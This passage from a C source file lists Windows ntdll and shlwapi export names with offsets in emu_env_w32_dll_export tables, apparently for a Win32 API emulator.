0x0005F4A3, NULL, NULL}, {"RtlUnicodeStringToAnsiString", 0x00012BB8, NULL, NULL}, {"RtlUnicodeStringToCountedOemString", 0x0005F59E, NULL, NULL}, {"RtlUnicodeStringToInteger", 0x0001AE91, NULL, NULL}, {"RtlUnicodeStringToOemSize", 0x0005F4A3, NULL, NULL}, {"RtlUnicodeStringToOemString", 0x0002720A, NULL, NULL}, {"RtlUnicodeToCustomCPN", 0x0005B732, NULL, NULL}, {"RtlUnicodeToMultiByteN", 0x00012A8D, NULL, NULL}, {"RtlUnicodeToMultiByteSize", 0x000131BA, NULL, NULL}, {"RtlUnicodeToOemN", 0x000270E8, NULL, NULL}, {"RtlUniform", 0x0002EC31, NULL, NULL}, {"RtlUnlockBootStatusData", 0x000303FB, NULL, NULL}, {"RtlUnlockHeap", 0x00013273, NULL, NULL}, {"RtlUnlockMemoryStreamRegion", 0x00053700, NULL, NULL}, {"RtlUnwind", 0x0002ABC5, NULL, NULL}, {"RtlUpcaseUnicodeChar", 0x000103E0, NULL, NULL}, {"RtlUpcaseUnicodeString", 0x00026B83, NULL, NULL}, {"RtlUpcaseUnicodeStringToAnsiString", 0x0005F4EF, NULL, NULL}, {"RtlUpcaseUnicodeStringToCountedOemString", 0x0005F672, NULL, NULL}, {"RtlUpcaseUnicodeStringToOemString", 0x0002C0C9, NULL, NULL}, {"RtlUpcaseUnicodeToCustomCPN", 0x0005B8E1, NULL, NULL}, {"RtlUpcaseUnicodeToMultiByteN", 0x000241DD, NULL, NULL}, {"RtlUpcaseUnicodeToOemN", 0x0002BDA5, NULL, NULL}, {"RtlUpdateTimer", 0x0002AF05, NULL, NULL}, {"RtlUpperChar", 0x000293C2, NULL, NULL}, {"RtlUpperString", 0x0005F7E9, NULL, NULL}, {"RtlUsageHeap", 0x000624D8, NULL, NULL}, {"RtlValidAcl", 0x000185CD, NULL, NULL}, {"RtlValidRelativeSecurityDescriptor", 0x0002D229, NULL, NULL}, {"RtlValidSecurityDescriptor", 0x00034E12, NULL, NULL}, {"RtlValidSid", 0x00012F84, NULL, NULL}, {"RtlValidateHeap", 0x00062208, NULL, NULL}, {"RtlValidateProcessHeaps", 0x0006242B, NULL, NULL}, {"RtlValidateUnicodeString", 0x00015E6A, NULL, NULL}, {"RtlVerifyVersionInfo", 0x00034AF7, NULL, NULL}, {"RtlWalkFrameChain", 0x0006072A, NULL, NULL}, {"RtlWalkHeap", 0x00061911, NULL, NULL}, {"RtlWriteMemoryStream", 0x00053603, NULL, NULL}, {"RtlWriteRegistryValue", 0x00030FA0, NULL, NULL}, {"RtlZeroHeap", 0x0005F193, NULL, NULL}, {"RtlZeroMemory", 0x00002C64, NULL, NULL}, {"RtlZombifyActivationContext", 0x000580A5, NULL, NULL}, {"RtlpApplyLengthFunction", 0x000204D6, NULL, NULL}, {"RtlpEnsureBufferSize", 0x0001E287, NULL, NULL}, {"RtlpNotOwnerCriticalSection", 0x000537F0, NULL, NULL}, {"RtlpNtCreateKey", 0x000679AB, NULL, NULL}, {"RtlpNtEnumerateSubKey", 0x0002E5A1, NULL, NULL}, {"RtlpNtMakeTemporaryKey", 0x00067A04, NULL, NULL}, {"RtlpNtOpenKey", 0x00029867, NULL, NULL}, {"RtlpNtQueryValueKey", 0x000297A6, NULL, NULL}, {"RtlpNtSetValueKey", 0x000679D8, NULL, NULL}, {"RtlpUnWaitCriticalSection", 0x0001B287, NULL, NULL}, {"RtlpWaitForCriticalSection", 0x0001B1BF, NULL, NULL}, {"RtlxAnsiStringToUnicodeSize", 0x0005F4C8, NULL, NULL}, {"RtlxOemStringToUnicodeSize", 0x0005F4C8, NULL, NULL}, {"RtlxUnicodeStringToAnsiSize", 0x0005F4A3, NULL, NULL}, {"RtlxUnicodeStringToOemSize", 0x0005F4A3, NULL, NULL}, {"VerSetConditionMask", 0x00034AB9, NULL, NULL}, {"ZwAcceptConnectPort", 0x0000CE5E, NULL, NULL}, {"ZwAccessCheck", 0x0000CE6E, NULL, NULL}, {"ZwAccessCheckAndAuditAlarm", 0x0000CE7E, NULL, NULL}, {"ZwAccessCheckByType", 0x0000CE8E, NULL, NULL}, {"ZwAccessCheckByTypeAndAuditAlarm", 0x0000CE9E, NULL, NULL}, {"ZwAccessCheckByTypeResultList", 0x0000CEAE, NULL, NULL}, {"ZwAccessCheckByTypeResultListAndAuditAlarm", 0x0000CEBE, NULL, NULL}, {"ZwAccessCheckByTypeResultListAndAuditAlarmByHandle", 0x0000CECE, NULL, NULL}, {"ZwAddAtom", 0x0000CEDE, NULL, NULL}, {"ZwAddBootEntry", 0x0000CEEE, NULL, NULL}, {"ZwAdjustGroupsToken", 0x0000CEFE, NULL, NULL}, {"ZwAdjustPrivilegesToken", 0x0000CF0E, NULL, NULL}, {"ZwAlertResumeThread", 0x0000CF1E, NULL, NULL}, {"ZwAlertThread", 0x0000CF2E, NULL, NULL}, {"ZwAllocateLocallyUniqueId", 0x0000CF3E, NULL, NULL}, {"ZwAllocateUserPhysicalPages", 0x0000CF4E, NULL, NULL}, {"ZwAllocateUuids", 0x0000CF5E, NULL, NULL}, {"ZwAllocateVirtualMemory", 0x0000CF6E, NULL, NULL}, {"ZwAreMappedFilesTheSame", 0x0000CF7E, NULL, NULL}, {"ZwAssignProcessToJobObject", 0x0000CF8E, NULL, NULL}, {"ZwCallbackReturn", 0x0000CF9E, NULL, NULL}, {"ZwCancelDeviceWakeupRequest", 0x0000CFAE, NULL, NULL}, {"ZwCancelIoFile", 0x0000CFBE, NULL, NULL}, {"ZwCancelTimer", 0x0000CFCE, NULL, NULL}, {"ZwClearEvent", 0x0000CFDE, NULL, NULL}, {"ZwClose", 0x0000CFEE, NULL, NULL}, {"ZwCloseObjectAuditAlarm", 0x0000CFFE, NULL, NULL}, {"ZwCompactKeys", 0x0000D00E, NULL, NULL}, {"ZwCompareTokens", 0x0000D01E, NULL, NULL}, {"ZwCompleteConnectPort", 0x0000D02E, NULL, NULL}, {"ZwCompressKey", 0x0000D03E, NULL, NULL}, {"ZwConnectPort", 0x0000D04E, NULL, NULL}, {"ZwContinue", 0x0000D05E, NULL, NULL}, {"ZwCreateDebugObject", 0x0000D06E, NULL, NULL}, {"ZwCreateDirectoryObject", 0x0000D07E, NULL, NULL}, {"ZwCreateEvent", 0x0000D08E, NULL, NULL}, {"ZwCreateEventPair", 0x0000D09E, NULL, NULL}, {"ZwCreateFile", 0x0000D0AE, NULL, NULL}, {"ZwCreateIoCompletion", 0x0000D0BE, NULL, NULL}, {"ZwCreateJobObject", 0x0000D0CE, NULL, NULL}, {"ZwCreateJobSet", 0x0000D0DE, NULL, NULL}, {"ZwCreateKey", 0x0000D0EE, NULL, NULL}, {"ZwCreateKeyedEvent", 0x0000DFCE, NULL, NULL}, {"ZwCreateMailslotFile", 0x0000D0FE, NULL, NULL}, {"ZwCreateMutant", 0x0000D10E, NULL, NULL}, {"ZwCreateNamedPipeFile", 0x0000D11E, NULL, NULL}, {"ZwCreatePagingFile", 0x0000D12E, NULL, NULL}, {"ZwCreatePort", 0x0000D13E, NULL, NULL}, {"ZwCreateProcess", 0x0000D14E, NULL, NULL}, {"ZwCreateProcessEx", 0x0000D15E, NULL, NULL}, {"ZwCreateProfile", 0x0000D16E, NULL, NULL}, {"ZwCreateSection", 0x0000D17E, NULL, NULL}, {"ZwCreateSemaphore", 0x0000D18E, NULL, NULL}, {"ZwCreateSymbolicLinkObject", 0x0000D19E, NULL, NULL}, {"ZwCreateThread", 0x0000D1AE, NULL, NULL}, {"ZwCreateTimer", 0x0000D1BE, NULL, NULL}, {"ZwCreateToken", 0x0000D1CE, NULL, NULL}, {"ZwCreateWaitablePort", 0x0000D1DE, NULL, NULL}, {"ZwDebugActiveProcess", 0x0000D1EE, NULL, NULL}, {"ZwDebugContinue", 0x0000D1FE, NULL, NULL}, {"ZwDelayExecution", 0x0000D20E, NULL, NULL}, {"ZwDeleteAtom", 0x0000D21E, NULL, NULL}, {"ZwDeleteBootEntry", 0x0000D22E, NULL, NULL}, {"ZwDeleteFile", 0x0000D23E, NULL, NULL}, {"ZwDeleteKey", 0x0000D24E, NULL, NULL}, {"ZwDeleteObjectAuditAlarm", 0x0000D25E, NULL, NULL}, {"ZwDeleteValueKey", 0x0000D26E, NULL, NULL}, {"ZwDeviceIoControlFile", 0x0000D27E, NULL, NULL}, {"ZwDisplayString", 0x0000D28E, NULL, NULL}, {"ZwDuplicateObject", 0x0000D29E, NULL, NULL}, {"ZwDuplicateToken", 0x0000D2AE, NULL, NULL}, {"ZwEnumerateBootEntries", 0x0000D2BE, NULL, NULL}, {"ZwEnumerateKey", 0x0000D2CE, NULL, NULL}, {"ZwEnumerateSystemEnvironmentValuesEx", 0x0000D2DE, NULL, NULL}, {"ZwEnumerateValueKey", 0x0000D2EE, NULL, NULL}, {"ZwExtendSection", 0x0000D2FE, NULL, NULL}, {"ZwFilterToken", 0x0000D30E, NULL, NULL}, {"ZwFindAtom", 0x0000D31E, NULL, NULL}, {"ZwFlushBuffersFile", 0x0000D32E, NULL, NULL}, {"ZwFlushInstructionCache", 0x0000D33E, NULL, NULL}, {"ZwFlushKey", 0x0000D34E, NULL, NULL}, {"ZwFlushVirtualMemory", 0x0000D35E, NULL, NULL}, {"ZwFlushWriteBuffer", 0x0000D36E, NULL, NULL}, {"ZwFreeUserPhysicalPages", 0x0000D37E, NULL, NULL}, {"ZwFreeVirtualMemory", 0x0000D38E, NULL, NULL}, {"ZwFsControlFile", 0x0000D39E, NULL, NULL}, {"ZwGetContextThread", 0x0000D3AE, NULL, NULL}, {"ZwGetDevicePowerState", 0x0000D3BE, NULL, NULL}, {"ZwGetPlugPlayEvent", 0x0000D3CE, NULL, NULL}, {"ZwGetWriteWatch", 0x0000D3DE, NULL, NULL}, {"ZwImpersonateAnonymousToken", 0x0000D3EE, NULL, NULL}, {"ZwImpersonateClientOfPort", 0x0000D3FE, NULL, NULL}, {"ZwImpersonateThread", 0x0000D40E, NULL, NULL}, {"ZwInitializeRegistry", 0x0000D41E, NULL, NULL}, {"ZwInitiatePowerAction", 0x0000D42E, NULL, NULL}, {"ZwIsProcessInJob", 0x0000D43E, NULL, NULL}, {"ZwIsSystemResumeAutomatic", 0x0000D44E, NULL, NULL}, {"ZwListenPort", 0x0000D45E, NULL, NULL}, {"ZwLoadDriver", 0x0000D46E, NULL, NULL}, {"ZwLoadKey2", 0x0000D48E, NULL, NULL}, {"ZwLoadKey", 0x0000D47E, NULL, NULL}, {"ZwLockFile", 0x0000D49E, NULL, NULL}, {"ZwLockProductActivationKeys", 0x0000D4AE, NULL, NULL}, {"ZwLockRegistryKey", 0x0000D4BE, NULL, NULL}, {"ZwLockVirtualMemory", 0x0000D4CE, NULL, NULL}, {"ZwMakePermanentObject", 0x0000D4DE, NULL, NULL}, {"ZwMakeTemporaryObject", 0x0000D4EE, NULL, NULL}, {"ZwMapUserPhysicalPages", 0x0000D4FE, NULL, NULL}, {"ZwMapUserPhysicalPagesScatter", 0x0000D50E, NULL, NULL}, {"ZwMapViewOfSection", 0x0000D51E, NULL, NULL}, {"ZwModifyBootEntry", 0x0000D52E, NULL, NULL}, {"ZwNotifyChangeDirectoryFile", 0x0000D53E, NULL, NULL}, {"ZwNotifyChangeKey", 0x0000D54E, NULL, NULL}, {"ZwNotifyChangeMultipleKeys", 0x0000D55E, NULL, NULL}, {"ZwOpenDirectoryObject", 0x0000D56E, NULL, NULL}, {"ZwOpenEvent", 0x0000D57E, NULL, NULL}, {"ZwOpenEventPair", 0x0000D58E, NULL, NULL}, {"ZwOpenFile", 0x0000D59E, NULL, NULL}, {"ZwOpenIoCompletion", 0x0000D5AE, NULL, NULL}, {"ZwOpenJobObject", 0x0000D5BE, NULL, NULL}, {"ZwOpenKey", 0x0000D5CE, NULL, NULL}, {"ZwOpenKeyedEvent", 0x0000DFDE, NULL, NULL}, {"ZwOpenMutant", 0x0000D5DE, NULL, NULL}, {"ZwOpenObjectAuditAlarm", 0x0000D5EE, NULL, NULL}, {"ZwOpenProcess", 0x0000D5FE, NULL, NULL}, {"ZwOpenProcessToken", 0x0000D60E, NULL, NULL}, {"ZwOpenProcessTokenEx", 0x0000D61E, NULL, NULL}, {"ZwOpenSection", 0x0000D62E, NULL, NULL}, {"ZwOpenSemaphore", 0x0000D63E, NULL, NULL}, {"ZwOpenSymbolicLinkObject", 0x0000D64E, NULL, NULL}, {"ZwOpenThread", 0x0000D65E, NULL, NULL}, {"ZwOpenThreadToken", 0x0000D66E, NULL, NULL}, {"ZwOpenThreadTokenEx", 0x0000D67E, NULL, NULL}, {"ZwOpenTimer", 0x0000D68E, NULL, NULL}, {"ZwPlugPlayControl", 0x0000D69E, NULL, NULL}, {"ZwPowerInformation", 0x0000D6AE, NULL, NULL}, {"ZwPrivilegeCheck", 0x0000D6BE, NULL, NULL}, {"ZwPrivilegeObjectAuditAlarm", 0x0000D6CE, NULL, NULL}, {"ZwPrivilegedServiceAuditAlarm", 0x0000D6DE, NULL, NULL}, {"ZwProtectVirtualMemory", 0x0000D6EE, NULL, NULL}, {"ZwPulseEvent", 0x0000D6FE, NULL, NULL}, {"ZwQueryAttributesFile", 0x0000D70E, NULL, NULL}, {"ZwQueryBootEntryOrder", 0x0000D71E, NULL, NULL}, {"ZwQueryBootOptions", 0x0000D72E, NULL, NULL}, {"ZwQueryDebugFilterState", 0x0000D73E, NULL, NULL}, {"ZwQueryDefaultLocale", 0x0000D74E, NULL, NULL}, {"ZwQueryDefaultUILanguage", 0x0000D75E, NULL, NULL}, {"ZwQueryDirectoryFile", 0x0000D76E, NULL, NULL}, {"ZwQueryDirectoryObject", 0x0000D77E, NULL, NULL}, {"ZwQueryEaFile", 0x0000D78E, NULL, NULL}, {"ZwQueryEvent", 0x0000D79E, NULL, NULL}, {"ZwQueryFullAttributesFile", 0x0000D7AE, NULL, NULL}, {"ZwQueryInformationAtom", 0x0000D7BE, NULL, NULL}, {"ZwQueryInformationFile", 0x0000D7CE, NULL, NULL}, {"ZwQueryInformationJobObject", 0x0000D7DE, NULL, NULL}, {"ZwQueryInformationPort", 0x0000D7EE, NULL, NULL}, {"ZwQueryInformationProcess", 0x0000D7FE, NULL, NULL}, {"ZwQueryInformationThread", 0x0000D80E, NULL, NULL}, {"ZwQueryInformationToken", 0x0000D81E, NULL, NULL}, {"ZwQueryInstallUILanguage", 0x0000D82E, NULL, NULL}, {"ZwQueryIntervalProfile", 0x0000D83E, NULL, NULL}, {"ZwQueryIoCompletion", 0x0000D84E, NULL, NULL}, {"ZwQueryKey", 0x0000D85E, NULL, NULL}, {"ZwQueryMultipleValueKey", 0x0000D86E, NULL, NULL}, {"ZwQueryMutant", 0x0000D87E, NULL, NULL}, {"ZwQueryObject", 0x0000D88E, NULL, NULL}, {"ZwQueryOpenSubKeys", 0x0000D89E, NULL, NULL}, {"ZwQueryPerformanceCounter", 0x0000D8AE, NULL, NULL}, {"ZwQueryPortInformationProcess", 0x0000E00E, NULL, NULL}, {"ZwQueryQuotaInformationFile", 0x0000D8BE, NULL, NULL}, {"ZwQuerySection", 0x0000D8CE, NULL, NULL}, {"ZwQuerySecurityObject", 0x0000D8DE, NULL, NULL}, {"ZwQuerySemaphore", 0x0000D8EE, NULL, NULL}, {"ZwQuerySymbolicLinkObject", 0x0000D8FE, NULL, NULL}, {"ZwQuerySystemEnvironmentValue", 0x0000D90E, NULL, NULL}, {"ZwQuerySystemEnvironmentValueEx", 0x0000D91E, NULL, NULL}, {"ZwQuerySystemInformation", 0x0000D92E, NULL, NULL}, {"ZwQuerySystemTime", 0x0000D93E, NULL, NULL}, {"ZwQueryTimer", 0x0000D94E, NULL, NULL}, {"ZwQueryTimerResolution", 0x0000D95E, NULL, NULL}, {"ZwQueryValueKey", 0x0000D96E, NULL, NULL}, {"ZwQueryVirtualMemory", 0x0000D97E, NULL, NULL}, {"ZwQueryVolumeInformationFile", 0x0000D98E, NULL, NULL}, {"ZwQueueApcThread", 0x0000D99E, NULL, NULL}, {"ZwRaiseException", 0x0000D9AE, NULL, NULL}, {"ZwRaiseHardError", 0x0000D9BE, NULL, NULL}, {"ZwReadFile", 0x0000D9CE, NULL, NULL}, {"ZwReadFileScatter", 0x0000D9DE, NULL, NULL}, {"ZwReadRequestData", 0x0000D9EE, NULL, NULL}, {"ZwReadVirtualMemory", 0x0000D9FE, NULL, NULL}, {"ZwRegisterThreadTerminatePort", 0x0000DA0E, NULL, NULL}, {"ZwReleaseKeyedEvent", 0x0000DFEE, NULL, NULL}, {"ZwReleaseMutant", 0x0000DA1E, NULL, NULL}, {"ZwReleaseSemaphore", 0x0000DA2E, NULL, NULL}, {"ZwRemoveIoCompletion", 0x0000DA3E, NULL, NULL}, {"ZwRemoveProcessDebug", 0x0000DA4E, NULL, NULL}, {"ZwRenameKey", 0x0000DA5E, NULL, NULL}, {"ZwReplaceKey", 0x0000DA6E, NULL, NULL}, {"ZwReplyPort", 0x0000DA7E, NULL, NULL}, {"ZwReplyWaitReceivePort", 0x0000DA8E, NULL, NULL}, {"ZwReplyWaitReceivePortEx", 0x0000DA9E, NULL, NULL}, {"ZwReplyWaitReplyPort", 0x0000DAAE, NULL, NULL}, {"ZwRequestDeviceWakeup", 0x0000DABE, NULL, NULL}, {"ZwRequestPort", 0x0000DACE, NULL, NULL}, {"ZwRequestWaitReplyPort", 0x0000DADE, NULL, NULL}, {"ZwRequestWakeupLatency", 0x0000DAEE, NULL, NULL}, {"ZwResetEvent", 0x0000DAFE, NULL, NULL}, {"ZwResetWriteWatch", 0x0000DB0E, NULL, NULL}, {"ZwRestoreKey", 0x0000DB1E, NULL, NULL}, {"ZwResumeProcess", 0x0000DB2E, NULL, NULL}, {"ZwResumeThread", 0x0000DB3E, NULL, NULL}, {"ZwSaveKey", 0x0000DB4E, NULL, NULL}, {"ZwSaveKeyEx", 0x0000DB5E, NULL, NULL}, {"ZwSaveMergedKeys", 0x0000DB6E, NULL, NULL}, {"ZwSecureConnectPort", 0x0000DB7E, NULL, NULL}, {"ZwSetBootEntryOrder", 0x0000DB8E, NULL, NULL}, {"ZwSetBootOptions", 0x0000DB9E, NULL, NULL}, {"ZwSetContextThread", 0x0000DBAE, NULL, NULL}, {"ZwSetDebugFilterState", 0x0000DBBE, NULL, NULL}, {"ZwSetDefaultHardErrorPort", 0x0000DBCE, NULL, NULL}, {"ZwSetDefaultLocale", 0x0000DBDE, NULL, NULL}, {"ZwSetDefaultUILanguage", 0x0000DBEE, NULL, NULL}, {"ZwSetEaFile", 0x0000DBFE, NULL, NULL}, {"ZwSetEvent", 0x0000DC0E, NULL, NULL}, {"ZwSetEventBoostPriority", 0x0000DC1E, NULL, NULL}, {"ZwSetHighEventPair", 0x0000DC2E, NULL, NULL}, {"ZwSetHighWaitLowEventPair", 0x0000DC3E, NULL, NULL}, {"ZwSetInformationDebugObject", 0x0000DC4E, NULL, NULL}, {"ZwSetInformationFile", 0x0000DC5E, NULL, NULL}, {"ZwSetInformationJobObject", 0x0000DC6E, NULL, NULL}, {"ZwSetInformationKey", 0x0000DC7E, NULL, NULL}, {"ZwSetInformationObject", 0x0000DC8E, NULL, NULL}, {"ZwSetInformationProcess", 0x0000DC9E, NULL, NULL}, {"ZwSetInformationThread", 0x0000DCAE, NULL, NULL}, {"ZwSetInformationToken", 0x0000DCBE, NULL, NULL}, {"ZwSetIntervalProfile", 0x0000DCCE, NULL, NULL}, {"ZwSetIoCompletion", 0x0000DCDE, NULL, NULL}, {"ZwSetLdtEntries", 0x0000DCEE, NULL, NULL}, {"ZwSetLowEventPair", 0x0000DCFE, NULL, NULL}, {"ZwSetLowWaitHighEventPair", 0x0000DD0E, NULL, NULL}, {"ZwSetQuotaInformationFile", 0x0000DD1E, NULL, NULL}, {"ZwSetSecurityObject", 0x0000DD2E, NULL, NULL}, {"ZwSetSystemEnvironmentValue", 0x0000DD3E, NULL, NULL}, {"ZwSetSystemEnvironmentValueEx", 0x0000DD4E, NULL, NULL}, {"ZwSetSystemInformation", 0x0000DD5E, NULL, NULL}, {"ZwSetSystemPowerState", 0x0000DD6E, NULL, NULL}, {"ZwSetSystemTime", 0x0000DD7E, NULL, NULL}, {"ZwSetThreadExecutionState", 0x0000DD8E, NULL, NULL}, {"ZwSetTimer", 0x0000DD9E, NULL, NULL}, {"ZwSetTimerResolution", 0x0000DDAE, NULL, NULL}, {"ZwSetUuidSeed", 0x0000DDBE, NULL, NULL}, {"ZwSetValueKey", 0x0000DDCE, NULL, NULL}, {"ZwSetVolumeInformationFile", 0x0000DDDE, NULL, NULL}, {"ZwShutdownSystem", 0x0000DDEE, NULL, NULL}, {"ZwSignalAndWaitForSingleObject", 0x0000DDFE, NULL, NULL}, {"ZwStartProfile", 0x0000DE0E, NULL, NULL}, {"ZwStopProfile", 0x0000DE1E, NULL, NULL}, {"ZwSuspendProcess", 0x0000DE2E, NULL, NULL}, {"ZwSuspendThread", 0x0000DE3E, NULL, NULL}, {"ZwSystemDebugControl", 0x0000DE4E, NULL, NULL}, {"ZwTerminateJobObject", 0x0000DE5E, NULL, NULL}, {"ZwTerminateProcess", 0x0000DE6E, NULL, NULL}, {"ZwTerminateThread", 0x0000DE7E, NULL, NULL}, {"ZwTestAlert", 0x0000DE8E, NULL, NULL}, {"ZwTraceEvent", 0x0000DE9E, NULL, NULL}, {"ZwTranslateFilePath", 0x0000DEAE, NULL, NULL}, {"ZwUnloadDriver", 0x0000DEBE, NULL, NULL}, {"ZwUnloadKey", 0x0000DECE, NULL, NULL}, {"ZwUnloadKeyEx", 0x0000DEDE, NULL, NULL}, {"ZwUnlockFile", 0x0000DEEE, NULL, NULL}, {"ZwUnlockVirtualMemory", 0x0000DEFE, NULL, NULL}, {"ZwUnmapViewOfSection", 0x0000DF0E, NULL, NULL}, {"ZwVdmControl", 0x0000DF1E, NULL, NULL}, {"ZwWaitForDebugEvent", 0x0000DF2E, NULL, NULL}, {"ZwWaitForKeyedEvent", 0x0000DFFE, NULL, NULL}, {"ZwWaitForMultipleObjects", 0x0000DF3E, NULL, NULL}, {"ZwWaitForSingleObject", 0x0000DF4E, NULL, NULL}, {"ZwWaitHighEventPair", 0x0000DF5E, NULL, NULL}, {"ZwWaitLowEventPair", 0x0000DF6E, NULL, NULL}, {"ZwWriteFile", 0x0000DF7E, NULL, NULL}, {"ZwWriteFileGather", 0x0000DF8E, NULL, NULL}, {"ZwWriteRequestData", 0x0000DF9E, NULL, NULL}, {"ZwWriteVirtualMemory", 0x0000DFAE, NULL, NULL}, {"ZwYieldExecution", 0x0000DFBE, NULL, NULL}, {"_CIcos", 0x0000E5E6, NULL, NULL}, {"_CIlog", 0x0000E6A2, NULL, NULL}, {"_CIpow", 0x0000E020, NULL, NULL}, {"_CIsin", 0x000012D1, NULL, NULL}, {"_CIsqrt", 0x0000137F, NULL, NULL}, {"__isascii", 0x0002C8D2, NULL, NULL}, {"__iscsym", 0x00071583, NULL, NULL}, {"__iscsymf", 0x0007153D, NULL, NULL}, {"__toascii", 0x0007152B, NULL, NULL}, {"_alldiv", 0x0000143B, NULL, NULL}, {"_alldvrm", 0x000014E5, NULL, NULL}, {"_allmul", 0x000015C4, NULL, NULL}, {"_alloca_probe", 0x000015F8, NULL, NULL}, {"_allrem", 0x00001635, NULL, NULL}, {"_allshl", 0x000016E9, NULL, NULL}, {"_allshr", 0x00001708, NULL, NULL}, {"_atoi64", 0x000715C9, NULL, NULL}, {"_aulldiv", 0x00001729, NULL, NULL}, {"_aulldvrm", 0x00001791, NULL, NULL}, {"_aullrem", 0x00001826, NULL, NULL}, {"_aullshr", 0x0000189B, NULL, NULL}, {"_chkstk", 0x000015F8, NULL, NULL}, {"_fltused", 0x0007E048, NULL, NULL}, {"_ftol", 0x000018BA, NULL, NULL}, {"_i64toa", 0x00071745, NULL, NULL}, {"_i64tow", 0x00071867, NULL, NULL}, {"_itoa", 0x0002E994, NULL, NULL}, {"_itow", 0x0002DCB1, NULL, NULL}, {"_lfind", 0x000718C1, NULL, NULL}, {"_ltoa", 0x00071686, NULL, NULL}, {"_ltow", 0x0007179F, NULL, NULL}, {"_memccpy", 0x000018E1, NULL, NULL}, {"_memicmp", 0x000718FA, NULL, NULL}, {"_snprintf", 0x0007190A, NULL, NULL}, {"_snwprintf", 0x0001BBEA, NULL, NULL}, {"_splitpath", 0x00071968, NULL, NULL}, {"_strcmpi", 0x00012E64, NULL, NULL}, {"_stricmp", 0x00012E64, NULL, NULL}, {"_strlwr", 0x00071AB0, NULL, NULL}, {"_strnicmp", 0x0001989D, NULL, NULL}, {"_strupr", 0x00071ADD, NULL, NULL}, {"_tolower", 0x00071B0A, NULL, NULL}, {"_toupper", 0x00071B57, NULL, NULL}, {"_ui64toa", 0x0007177D, NULL, NULL}, {"_ui64tow", 0x0007189F, NULL, NULL}, {"_ultoa", 0x000716B2, NULL, NULL}, {"_ultow", 0x000717CB, NULL, NULL}, {"_vsnprintf", 0x0002FB97, NULL, NULL}, {"_vsnwprintf", 0x00071B69, NULL, NULL}, {"_wcsicmp", 0x00013378, NULL, NULL}, {"_wcslwr", 0x00024869, NULL, NULL}, {"_wcsnicmp", 0x000181ED, NULL, NULL}, {"_wcsupr", 0x00071BDF, NULL, NULL}, {"_wtoi", 0x00071C15, NULL, NULL}, {"_wtoi64", 0x00071C25, NULL, NULL}, {"_wtol", 0x0003687A, NULL, NULL}, {"abs", 0x00071CC2, NULL, NULL}, {"atan", 0x00001934, NULL, NULL}, {"atoi", 0x000248A9, NULL, NULL}, {"atol", 0x000248B6, NULL, NULL}, {"bsearch", 0x000151F3, NULL, NULL}, {"ceil", 0x000019D7, NULL, NULL}, {"cos", 0x0000E5FA, NULL, NULL}, {"fabs", 0x00071CD7, NULL, NULL}, {"floor", 0x00001B18, NULL, NULL}, {"isalnum", 0x00071450, NULL, NULL}, {"isalpha", 0x00071314, NULL, NULL}, {"iscntrl", 0x000714F8, NULL, NULL}, {"isdigit", 0x0002C8A9, NULL, NULL}, {"isgraph", 0x000714C0, NULL, NULL}, {"islower", 0x0007137F, NULL, NULL}, {"isprint", 0x00071488, NULL, NULL}, {"ispunct", 0x0007141D, NULL, NULL}, {"isspace", 0x000713EA, NULL, NULL}, {"isupper", 0x0007134C, NULL, NULL}, {"iswalpha", 0x00071D8F, NULL, NULL}, {"iswctype", 0x000269F1, NULL, NULL}, {"iswdigit", 0x00026A95, NULL, NULL}, {"iswlower", 0x00071DAA, NULL, NULL}, {"iswspace", 0x00071DDD, NULL, NULL}, {"iswxdigit", 0x00071DC2, NULL, NULL}, {"isxdigit", 0x000713B2, NULL, NULL}, {"labs", 0x00071CC2, NULL, NULL}, {"log", 0x0000E69E, NULL, NULL}, {"mbstowcs", 0x0002492C, NULL, NULL}, {"memchr", 0x00001C60, NULL, NULL}, {"memcmp", 0x00001D07, NULL, NULL}, {"memcpy", 0x00001DB3, NULL, NULL}, {"memmove", 0x000020F5, NULL, NULL}, {"memset", 0x00002435, NULL, NULL}, {"pow", 0x0000E01B, NULL, NULL}, {"qsort", 0x000203D8, NULL, NULL}, {"sin", 0x000012E5, NULL, NULL}, {"sprintf", 0x00025BC4, NULL, NULL}, {"sqrt", 0x00001393, NULL, NULL}, {"sscanf", 0x00071DF5, NULL, NULL}, {"strcat", 0x0000249D, NULL, NULL}, {"strchr", 0x0000E80D, NULL, NULL}, {"strcmp", 0x00002583, NULL, NULL}, {"strcpy", 0x0000248D, NULL, NULL}, {"strcspn", 0x00002608, NULL, NULL}, {"strlen", 0x00002645, NULL, NULL}, {"strncat", 0x000026C0, NULL, NULL}, {"strncmp", 0x000027E5, NULL, NULL}, {"strncpy", 0x0000281D, NULL, NULL}, {"strpbrk", 0x0000291D, NULL, NULL}, {"strrchr", 0x00002956, NULL, NULL}, {"strspn", 0x0000297D, NULL, NULL}, {"strstr", 0x0000E77E, NULL, NULL}, {"strtol", 0x00071FEA, NULL, NULL}, {"strtoul", 0x00072009, NULL, NULL}, {"swprintf", 0x000184DB, NULL, NULL}, {"tan", 0x000029CE, NULL, NULL}, {"tolower", 0x00071B1C, NULL, NULL}, {"toupper", 0x00023D33, NULL, NULL}, {"towlower", 0x0002A846, NULL, NULL}, {"towupper", 0x00072028, NULL, NULL}, {"vDbgPrintEx", 0x00020324, NULL, NULL}, {"vDbgPrintExWithPrefix", 0x0001EA7B, NULL, NULL}, {"vsprintf", 0x0007203C, NULL, NULL}, {"wcscat", 0x00018132, NULL, NULL}, {"wcschr", 0x00014982, NULL, NULL}, {"wcscmp", 0x00035454, NULL, NULL}, {"wcscpy", 0x00012F60, NULL, NULL}, {"wcscspn", 0x0003571E, NULL, NULL}, {"wcslen", 0x0000FE4A, NULL, NULL}, {"wcsncat", 0x00018B44, NULL, NULL}, {"wcsncmp", 0x0001E42B, NULL, NULL}, {"wcsncpy", 0x0001057F, NULL, NULL}, {"wcspbrk", 0x0007209A, NULL, NULL}, {"wcsrchr", 0x00014691, NULL, NULL}, {"wcsspn", 0x000720E3, NULL, NULL}, {"wcsstr", 0x0002382F, NULL, NULL}, {"wcstol", 0x00029F23, NULL, NULL}, {"wcstombs", 0x00072131, NULL, NULL}, {"wcstoul", 0x00034DC1, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export shlwapi_exports[] = { {"SHAllocShared", 0x0000B601, NULL, NULL}, {"SHLockShared", 0x0001C37B, NULL, NULL}, {"SHUnlockShared", 0x0000B54E, NULL, NULL}, {"SHFreeShared", 0x0000B569, NULL, NULL}, {"GetAcceptLanguagesA", 0x0005DE35, NULL, NULL}, {"GetAcceptLanguagesW", 0x0002CB22, NULL, NULL}, {"SHCreateThread", 0x000173E6, NULL, NULL}, {"IsCharSpaceW", 0x000158E5, NULL, NULL}, {"StrCmpCA", 